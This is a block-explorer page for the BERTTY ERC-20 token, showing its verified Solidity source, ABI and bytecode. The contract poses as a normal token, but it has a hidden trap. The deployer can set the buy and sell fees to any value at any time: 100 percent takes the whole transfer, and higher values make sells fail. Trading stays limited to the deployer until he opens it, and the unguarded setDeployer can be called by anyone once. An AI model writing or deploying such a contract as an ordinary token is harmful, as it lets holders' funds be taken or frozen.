Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 BERTTY
Holders
24
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
124,997.384555879927519251 BERTTYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BERTTY
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-25 */ // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.20; contract BERTTY { string public constant name = "BERTTY"; string public constant symbol = "BERTTY"; uint8 public constant decimals = 18; uint256 public constant totalSupply = 100_000_000 * 10**decimals; uint256 public BurnAmount; uint256 public ConfirmAmount; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event DeployerSet(address indexed deployer); address private pair; address public deployer; bool public deployerSet = false; bool private tradingOpen; constructor() { // Initially, no tokens are assigned until deployer is set. } receive() external payable {} function setDeployer(address _deployer) external { require(!deployerSet, "Deployer can only be set once."); deployer = _deployer; deployerSet = true; balanceOf[_deployer] = totalSupply; emit Transfer(address(0), _deployer, totalSupply); emit DeployerSet(_deployer); } function approve(address spender, uint256 amount) external returns (bool){ require(deployerSet, "Deployer must be set first."); allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) external returns (bool){ require(deployerSet, "Deployer must be set first."); return _transfer(msg.sender, to, amount); } function transferFrom(address from, address to, uint256 amount) external returns (bool){ require(deployerSet, "Deployer must be set first."); allowance[from][msg.sender] -= amount; return _transfer(from, to, amount); } function _transfer(address from, address to, uint256 amount) internal returns (bool){ require(tradingOpen || from == deployer || to == deployer); if(!tradingOpen && pair == address(0) && amount > 0) pair = to; balanceOf[from] -= amount; if(from != address(this)){ uint256 FinalAmount = amount * (from == pair ? BurnAmount : ConfirmAmount) / 100; amount -= FinalAmount; balanceOf[address(this)] += FinalAmount; } balanceOf[to] += amount; emit Transfer(from, to, amount); return true; } function openTrading() external { require(msg.sender == deployer, "Only deployer can open trading."); require(!tradingOpen, "Trading is already open."); tradingOpen = true; } function setBERTTY(uint256 newBurn, uint256 newConfirm) external { require(msg.sender == deployer, "Only deployer can set WEN."); BurnAmount = newBurn; ConfirmAmount = newConfirm; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"deployer","type":"address"}],"name":"DeployerSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BurnAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ConfirmAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deployer","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deployerSet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBurn","type":"uint256"},{"internalType":"uint256","name":"newConfirm","type":"uint256"}],"name":"setBERTTY","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_deployer","type":"address"}],"name":"setDeployer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040525f600560146101000a81548160ff021916908315150217905550348015610029575f80fd5b506116a4806100375f395ff3fe6080604052600436106100f6575f3560e01c806395d89b4111610089578063cbdc89ac11610058578063cbdc89ac14610329578063d5f3948814610353578063dd62ed3e1461037d578063ffcdc6e8146103b9576100fd565b806395d89b411461028557806396214735146102af578063a9059cbb146102d7578063c9567bf914610313576100fd565b806324065be0116100c557806324065be0146101cd578063313ce567146101f557806370a082311461021f578063878d9c2e1461025b576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103e3565b6040516101229190610f1f565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c9190610fd0565b61041c565b60405161015e9190611028565b60405180910390f35b348015610172575f80fd5b5061017b610558565b6040516101889190611050565b60405180910390f35b34801561019c575f80fd5b506101b760048036038101906101b29190611069565b610578565b6040516101c49190611028565b60405180910390f35b3480156101d8575f80fd5b506101f360048036038101906101ee91906110b9565b61066a565b005b348015610200575f80fd5b5061020961070a565b6040516102169190611112565b60405180910390f35b34801561022a575f80fd5b506102456004803603810190610240919061112b565b61070f565b6040516102529190611050565b60405180910390f35b348015610266575f80fd5b5061026f610724565b60405161027c9190611028565b60405180910390f35b348015610290575f80fd5b50610299610737565b6040516102a69190610f1f565b60405180910390f35b3480156102ba575f80fd5b506102d560048036038101906102d0919061112b565b610770565b005b3480156102e2575f80fd5b506102fd60048036038101906102f89190610fd0565b610940565b60405161030a9190611028565b60405180910390f35b34801561031e575f80fd5b506103276109a3565b005b348015610334575f80fd5b5061033d610a9f565b60405161034a9190611050565b60405180910390f35b34801561035e575f80fd5b50610367610aa5565b6040516103749190611165565b60405180910390f35b348015610388575f80fd5b506103a3600480360381019061039e919061117e565b610aca565b6040516103b09190611050565b60405180910390f35b3480156103c4575f80fd5b506103cd610aea565b6040516103da9190611050565b60405180910390f35b6040518060400160405280600681526020017f424552545459000000000000000000000000000000000000000000000000000081525081565b5f600560149054906101000a900460ff1661046c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161046390611206565b60405180910390fd5b8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105469190611050565b60405180910390a36001905092915050565b6012600a6105669190611380565b6305f5e10061057591906113ca565b81565b5f600560149054906101000a900460ff166105c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bf90611206565b60405180910390fd5b8160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461064f919061140b565b92505081905550610661848484610aef565b90509392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f090611488565b60405180910390fd5b815f81905550806001819055505050565b601281565b6002602052805f5260405f205f915090505481565b600560149054906101000a900460ff1681565b6040518060400160405280600681526020017f424552545459000000000000000000000000000000000000000000000000000081525081565b600560149054906101000a900460ff16156107c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b7906114f0565b60405180910390fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560146101000a81548160ff0219169083151502179055506012600a6108299190611380565b6305f5e10061083891906113ca565b60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6108d69190611380565b6305f5e1006108e591906113ca565b6040516108f29190611050565b60405180910390a38073ffffffffffffffffffffffffffffffffffffffff167fb3aeb43a1257df8782f2b4a1e24e054eebef0ecb13c22fea8a16078ca40a4fd960405160405180910390a250565b5f600560149054906101000a900460ff16610990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098790611206565b60405180910390fd5b61099b338484610aef565b905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2990611558565b60405180910390fd5b600560159054906101000a900460ff1615610a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a79906115c0565b60405180910390fd5b6001600560156101000a81548160ff021916908315150217905550565b60015481565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6003602052815f5260405f20602052805f5260405f205f91509150505481565b5f5481565b5f600560159054906101000a900460ff1680610b57575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610bae575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b610bb6575f80fd5b600560159054906101000a900460ff16158015610c1f57505f73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8015610c2a57505f82115b15610c70578260045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610cbc919061140b565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610dd2575f606460045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614610d5557600154610d58565b5f545b84610d6391906113ca565b610d6d919061160b565b90508083610d7b919061140b565b92508060025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610dc9919061163b565b92505081905550505b8160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e1e919061163b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e829190611050565b60405180910390a3600190509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610ecc578082015181840152602081019050610eb1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610ef182610e95565b610efb8185610e9f565b9350610f0b818560208601610eaf565b610f1481610ed7565b840191505092915050565b5f6020820190508181035f830152610f378184610ee7565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610f6c82610f43565b9050919050565b610f7c81610f62565b8114610f86575f80fd5b50565b5f81359050610f9781610f73565b92915050565b5f819050919050565b610faf81610f9d565b8114610fb9575f80fd5b50565b5f81359050610fca81610fa6565b92915050565b5f8060408385031215610fe657610fe5610f3f565b5b5f610ff385828601610f89565b925050602061100485828601610fbc565b9150509250929050565b5f8115159050919050565b6110228161100e565b82525050565b5f60208201905061103b5f830184611019565b92915050565b61104a81610f9d565b82525050565b5f6020820190506110635f830184611041565b92915050565b5f805f606084860312156110805761107f610f3f565b5b5f61108d86828701610f89565b935050602061109e86828701610f89565b92505060406110af86828701610fbc565b9150509250925092565b5f80604083850312156110cf576110ce610f3f565b5b5f6110dc85828601610fbc565b92505060206110ed85828601610fbc565b9150509250929050565b5f60ff82169050919050565b61110c816110f7565b82525050565b5f6020820190506111255f830184611103565b92915050565b5f602082840312156111405761113f610f3f565b5b5f61114d84828501610f89565b91505092915050565b61115f81610f62565b82525050565b5f6020820190506111785f830184611156565b92915050565b5f806040838503121561119457611193610f3f565b5b5f6111a185828601610f89565b92505060206111b285828601610f89565b9150509250929050565b7f4465706c6f796572206d757374206265207365742066697273742e00000000005f82015250565b5f6111f0601b83610e9f565b91506111fb826111bc565b602082019050919050565b5f6020820190508181035f83015261121d816111e4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156112a65780860481111561128257611281611224565b5b60018516156112915780820291505b808102905061129f85611251565b9450611266565b94509492505050565b5f826112be5760019050611379565b816112cb575f9050611379565b81600181146112e157600281146112eb5761131a565b6001915050611379565b60ff8411156112fd576112fc611224565b5b8360020a91508482111561131457611313611224565b5b50611379565b5060208310610133831016604e8410600b841016171561134f5782820a90508381111561134a57611349611224565b5b611379565b61135c848484600161125d565b9250905081840481111561137357611372611224565b5b81810290505b9392505050565b5f61138a82610f9d565b9150611395836110f7565b92506113c27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846112af565b905092915050565b5f6113d482610f9d565b91506113df83610f9d565b92508282026113ed81610f9d565b9150828204841483151761140457611403611224565b5b5092915050565b5f61141582610f9d565b915061142083610f9d565b925082820390508181111561143857611437611224565b5b92915050565b7f4f6e6c79206465706c6f7965722063616e207365742057454e2e0000000000005f82015250565b5f611472601a83610e9f565b915061147d8261143e565b602082019050919050565b5f6020820190508181035f83015261149f81611466565b9050919050565b7f4465706c6f7965722063616e206f6e6c7920626520736574206f6e63652e00005f82015250565b5f6114da601e83610e9f565b91506114e5826114a6565b602082019050919050565b5f6020820190508181035f830152611507816114ce565b9050919050565b7f4f6e6c79206465706c6f7965722063616e206f70656e2074726164696e672e005f82015250565b5f611542601f83610e9f565b915061154d8261150e565b602082019050919050565b5f6020820190508181035f83015261156f81611536565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e2e00000000000000005f82015250565b5f6115aa601883610e9f565b91506115b582611576565b602082019050919050565b5f6020820190508181035f8301526115d78161159e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61161582610f9d565b915061162083610f9d565b9250826116305761162f6115de565b5b828204905092915050565b5f61164582610f9d565b915061165083610f9d565b925082820190508082111561166857611667611224565b5b9291505056fea2646970667358221220ce1e4c24c9918a0b7402754136a9278d54b101ab01c75e700d46d7bbef74c15c64736f6c63430008140033
Deployed Bytecode
0x6080604052600436106100f6575f3560e01c806395d89b4111610089578063cbdc89ac11610058578063cbdc89ac14610329578063d5f3948814610353578063dd62ed3e1461037d578063ffcdc6e8146103b9576100fd565b806395d89b411461028557806396214735146102af578063a9059cbb146102d7578063c9567bf914610313576100fd565b806324065be0116100c557806324065be0146101cd578063313ce567146101f557806370a082311461021f578063878d9c2e1461025b576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103e3565b6040516101229190610f1f565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c9190610fd0565b61041c565b60405161015e9190611028565b60405180910390f35b348015610172575f80fd5b5061017b610558565b6040516101889190611050565b60405180910390f35b34801561019c575f80fd5b506101b760048036038101906101b29190611069565b610578565b6040516101c49190611028565b60405180910390f35b3480156101d8575f80fd5b506101f360048036038101906101ee91906110b9565b61066a565b005b348015610200575f80fd5b5061020961070a565b6040516102169190611112565b60405180910390f35b34801561022a575f80fd5b506102456004803603810190610240919061112b565b61070f565b6040516102529190611050565b60405180910390f35b348015610266575f80fd5b5061026f610724565b60405161027c9190611028565b60405180910390f35b348015610290575f80fd5b50610299610737565b6040516102a69190610f1f565b60405180910390f35b3480156102ba575f80fd5b506102d560048036038101906102d0919061112b565b610770565b005b3480156102e2575f80fd5b506102fd60048036038101906102f89190610fd0565b610940565b60405161030a9190611028565b60405180910390f35b34801561031e575f80fd5b506103276109a3565b005b348015610334575f80fd5b5061033d610a9f565b60405161034a9190611050565b60405180910390f35b34801561035e575f80fd5b50610367610aa5565b6040516103749190611165565b60405180910390f35b348015610388575f80fd5b506103a3600480360381019061039e919061117e565b610aca565b6040516103b09190611050565b60405180910390f35b3480156103c4575f80fd5b506103cd610aea565b6040516103da9190611050565b60405180910390f35b6040518060400160405280600681526020017f424552545459000000000000000000000000000000000000000000000000000081525081565b5f600560149054906101000a900460ff1661046c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161046390611206565b60405180910390fd5b8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105469190611050565b60405180910390a36001905092915050565b6012600a6105669190611380565b6305f5e10061057591906113ca565b81565b5f600560149054906101000a900460ff166105c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bf90611206565b60405180910390fd5b8160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461064f919061140b565b92505081905550610661848484610aef565b90509392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f090611488565b60405180910390fd5b815f81905550806001819055505050565b601281565b6002602052805f5260405f205f915090505481565b600560149054906101000a900460ff1681565b6040518060400160405280600681526020017f424552545459000000000000000000000000000000000000000000000000000081525081565b600560149054906101000a900460ff16156107c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b7906114f0565b60405180910390fd5b8060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560146101000a81548160ff0219169083151502179055506012600a6108299190611380565b6305f5e10061083891906113ca565b60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6108d69190611380565b6305f5e1006108e591906113ca565b6040516108f29190611050565b60405180910390a38073ffffffffffffffffffffffffffffffffffffffff167fb3aeb43a1257df8782f2b4a1e24e054eebef0ecb13c22fea8a16078ca40a4fd960405160405180910390a250565b5f600560149054906101000a900460ff16610990576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098790611206565b60405180910390fd5b61099b338484610aef565b905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2990611558565b60405180910390fd5b600560159054906101000a900460ff1615610a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a79906115c0565b60405180910390fd5b6001600560156101000a81548160ff021916908315150217905550565b60015481565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6003602052815f5260405f20602052805f5260405f205f91509150505481565b5f5481565b5f600560159054906101000a900460ff1680610b57575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610bae575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b610bb6575f80fd5b600560159054906101000a900460ff16158015610c1f57505f73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8015610c2a57505f82115b15610c70578260045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610cbc919061140b565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610dd2575f606460045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614610d5557600154610d58565b5f545b84610d6391906113ca565b610d6d919061160b565b90508083610d7b919061140b565b92508060025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610dc9919061163b565b92505081905550505b8160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e1e919061163b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e829190611050565b60405180910390a3600190509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610ecc578082015181840152602081019050610eb1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610ef182610e95565b610efb8185610e9f565b9350610f0b818560208601610eaf565b610f1481610ed7565b840191505092915050565b5f6020820190508181035f830152610f378184610ee7565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610f6c82610f43565b9050919050565b610f7c81610f62565b8114610f86575f80fd5b50565b5f81359050610f9781610f73565b92915050565b5f819050919050565b610faf81610f9d565b8114610fb9575f80fd5b50565b5f81359050610fca81610fa6565b92915050565b5f8060408385031215610fe657610fe5610f3f565b5b5f610ff385828601610f89565b925050602061100485828601610fbc565b9150509250929050565b5f8115159050919050565b6110228161100e565b82525050565b5f60208201905061103b5f830184611019565b92915050565b61104a81610f9d565b82525050565b5f6020820190506110635f830184611041565b92915050565b5f805f606084860312156110805761107f610f3f565b5b5f61108d86828701610f89565b935050602061109e86828701610f89565b92505060406110af86828701610fbc565b9150509250925092565b5f80604083850312156110cf576110ce610f3f565b5b5f6110dc85828601610fbc565b92505060206110ed85828601610fbc565b9150509250929050565b5f60ff82169050919050565b61110c816110f7565b82525050565b5f6020820190506111255f830184611103565b92915050565b5f602082840312156111405761113f610f3f565b5b5f61114d84828501610f89565b91505092915050565b61115f81610f62565b82525050565b5f6020820190506111785f830184611156565b92915050565b5f806040838503121561119457611193610f3f565b5b5f6111a185828601610f89565b92505060206111b285828601610f89565b9150509250929050565b7f4465706c6f796572206d757374206265207365742066697273742e00000000005f82015250565b5f6111f0601b83610e9f565b91506111fb826111bc565b602082019050919050565b5f6020820190508181035f83015261121d816111e4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156112a65780860481111561128257611281611224565b5b60018516156112915780820291505b808102905061129f85611251565b9450611266565b94509492505050565b5f826112be5760019050611379565b816112cb575f9050611379565b81600181146112e157600281146112eb5761131a565b6001915050611379565b60ff8411156112fd576112fc611224565b5b8360020a91508482111561131457611313611224565b5b50611379565b5060208310610133831016604e8410600b841016171561134f5782820a90508381111561134a57611349611224565b5b611379565b61135c848484600161125d565b9250905081840481111561137357611372611224565b5b81810290505b9392505050565b5f61138a82610f9d565b9150611395836110f7565b92506113c27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846112af565b905092915050565b5f6113d482610f9d565b91506113df83610f9d565b92508282026113ed81610f9d565b9150828204841483151761140457611403611224565b5b5092915050565b5f61141582610f9d565b915061142083610f9d565b925082820390508181111561143857611437611224565b5b92915050565b7f4f6e6c79206465706c6f7965722063616e207365742057454e2e0000000000005f82015250565b5f611472601a83610e9f565b915061147d8261143e565b602082019050919050565b5f6020820190508181035f83015261149f81611466565b9050919050565b7f4465706c6f7965722063616e206f6e6c7920626520736574206f6e63652e00005f82015250565b5f6114da601e83610e9f565b91506114e5826114a6565b602082019050919050565b5f6020820190508181035f830152611507816114ce565b9050919050565b7f4f6e6c79206465706c6f7965722063616e206f70656e2074726164696e672e005f82015250565b5f611542601f83610e9f565b915061154d8261150e565b602082019050919050565b5f6020820190508181035f83015261156f81611536565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e2e00000000000000005f82015250565b5f6115aa601883610e9f565b91506115b582611576565b602082019050919050565b5f6020820190508181035f8301526115d78161159e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61161582610f9d565b915061162083610f9d565b9250826116305761162f6115de565b5b828204905092915050565b5f61164582610f9d565b915061165083610f9d565b925082820190508082111561166857611667611224565b5b9291505056fea2646970667358221220ce1e4c24c9918a0b7402754136a9278d54b101ab01c75e700d46d7bbef74c15c64736f6c63430008140033
Deployed Bytecode Sourcemap
67:3049:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;90:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1311:268;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;224:64;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1785:258;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2900:213;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;182:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;366:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;768:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;135:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;977:326;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1587:190;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2678:214;;;;;;;;;;;;;:::i;:::-;;329:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;738:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;418:66;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;297:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;90:38;;;;;;;;;;;;;;;;;;;:::o;1311:268::-;1379:4;1403:11;;;;;;;;;;;1395:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;1490:6;1457:9;:21;1467:10;1457:21;;;;;;;;;;;;;;;:30;1479:7;1457:30;;;;;;;;;;;;;;;:39;;;;1533:7;1512:37;;1521:10;1512:37;;;1542:6;1512:37;;;;;;:::i;:::-;;;;;;;;1567:4;1560:11;;1311:268;;;;:::o;224:64::-;215:2;276;:12;;;;:::i;:::-;262:11;:26;;;;:::i;:::-;224:64;:::o;1785:258::-;1867:4;1891:11;;;;;;;;;;;1883:51;;;;;;;;;;;;:::